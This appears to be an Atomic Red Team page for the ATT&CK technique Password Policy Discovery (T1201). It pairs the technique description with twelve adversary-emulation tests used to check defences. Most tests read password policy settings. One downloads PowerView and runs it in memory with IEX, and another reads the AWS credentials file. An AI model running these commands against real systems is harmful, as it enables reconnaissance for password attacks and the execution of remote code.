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T1201

T1201 - Password Policy Discovery

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force (opens in a new tab). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a Network Device CLI (opens in a new tab) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).

Atomic Tests


Atomic Test #1 - Examine password complexity policy - Ubuntu

Lists the password complexity policy to console on Ubuntu Linux.

Supported Platforms: Linux

auto_generated_guid: 085fe567-ac84-47c7-ac4c-2688ce28265b

Attack Commands: Run with bash!

cat /etc/pam.d/common-password


Atomic Test #2 - Examine password complexity policy - FreeBSD

Lists the password complexity policy to console on FreeBSD.

Supported Platforms: Linux

auto_generated_guid: a7893624-a3d7-4aed-9676-80498f31820f

Attack Commands: Run with sh!

cat /etc/pam.d/passwd


Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 7.x

Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.

Supported Platforms: Linux

auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d

Attack Commands: Run with bash!

cat /etc/security/pwquality.conf

Dependencies: Run with bash!

Description: System must be CentOS or RHEL v7
Check Prereq Commands:
if [ $(uname -a | grep -ioP 'el[0-9]' | grep -oP '[0-9]') -eq "7" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:
echo Please run from CentOS or RHEL v7


Atomic Test #4 - Examine password complexity policy - CentOS/RHEL 6.x

Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.

Supported Platforms: Linux

auto_generated_guid: 6ce12552-0adb-4f56-89ff-95ce268f6358

Attack Commands: Run with bash!

cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf

Dependencies: Run with bash!

Description: System must be CentOS or RHEL v6
Check Prereq Commands:
if [ $(rpm -q --queryformat '%{VERSION}') -eq "6" ]; then exit /b 0; else exit /b 1; fi;
Get Prereq Commands:
echo Please run from CentOS or RHEL v6


Atomic Test #5 - Examine password expiration policy - All Linux

Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.

Supported Platforms: Linux

auto_generated_guid: 7c86c55c-70fa-4a05-83c9-3aa19b145d1a

Attack Commands: Run with bash!

cat /etc/login.defs


Atomic Test #6 - Examine local password policy - Windows

Lists the local password policy to console on Windows.

Supported Platforms: Windows

auto_generated_guid: 4588d243-f24e-4549-b2e3-e627acc089f6

Attack Commands: Run with command_prompt!

net accounts


Atomic Test #7 - Examine domain password policy - Windows

Lists the domain password policy to console on Windows.

Supported Platforms: Windows

auto_generated_guid: 46c2c362-2679-4ef5-aec9-0e958e135be4

Attack Commands: Run with command_prompt!

net accounts /domain


Atomic Test #8 - Examine password policy - macOS

Lists the password policy to console on macOS.

Supported Platforms: macOS

auto_generated_guid: 4b7fa042-9482-45e1-b348-4b756b2a0742

Attack Commands: Run with bash!

pwpolicy getaccountpolicies


Atomic Test #9 - Get-DomainPolicy with PowerView

Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.

Supported Platforms: Windows

auto_generated_guid: 3177f4da-3d4b-4592-8bdc-aa23d0b2e843

Attack Commands: Run with powershell!

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose


Atomic Test #10 - Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy

The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: b2698b33-984c-4a1c-93bb-e4ba72a0babb

Attack Commands: Run with powershell!

get-addefaultdomainpasswordpolicy


Atomic Test #11 - Use of SecEdit.exe to export the local security policy (including the password policy)

SecEdit.exe can be used to export the current local security policy applied to a host. Reference (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 510cc97f-56ac-4cd3-a198-d3218c23d889

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt


Atomic Test #12 - Examine AWS Password Policy

This atomic test will display details about the password policy for the current AWS account.

Supported Platforms: Iaas:aws

auto_generated_guid: 15330820-d405-450b-bd08-16b5be5be9f4

Attack Commands: Run with sh!

aws iam get-account-password-policy

Dependencies: Run with sh!

Description: Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands:
cat ~/.aws/credentials | grep "default"
Get Prereq Commands:
echo Please install the aws-cli and configure your AWS defult profile using: aws configure

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